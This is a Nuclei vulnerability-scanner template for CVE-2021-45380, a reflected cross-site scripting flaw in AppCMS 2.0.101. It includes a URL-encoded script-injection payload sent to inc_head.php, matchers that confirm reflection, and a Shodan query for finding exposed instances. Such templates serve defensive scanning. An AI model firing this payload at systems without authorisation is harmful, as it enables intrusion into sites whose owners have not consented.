nuclei-templates/http/cves/2021/CVE-2021-45380.yaml

51 lines
1.4 KiB
YAML

id: CVE-2021-45380
info:
name: AppCMS - Cross-Site Scripting
author: pikpikcu
severity: medium
description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/source-trace/appcms/issues/8
- https://nvd.nist.gov/vuln/detail/CVE-2021-45380
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-45380
cwe-id: CWE-79
epss-score: 0.0157
epss-percentile: 0.85804
cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: appcms
product: appcms
shodan-query: http.html:"Powerd by AppCMS"
tags: cve,cve2021,appcms,xss
http:
- method: GET
path:
- '{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '""></script><script>alert(document.domain)</script>'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100c0dddd6e8bfc80c1e7b6f4c0ef7712739d39bd1c4c58468c85701853e7b7bec9022067562d4c34c90325d5c56df34c34546f238dce11154b7c97a27ca10ad42613aa:922c64590222798bb761d5b6d8e72950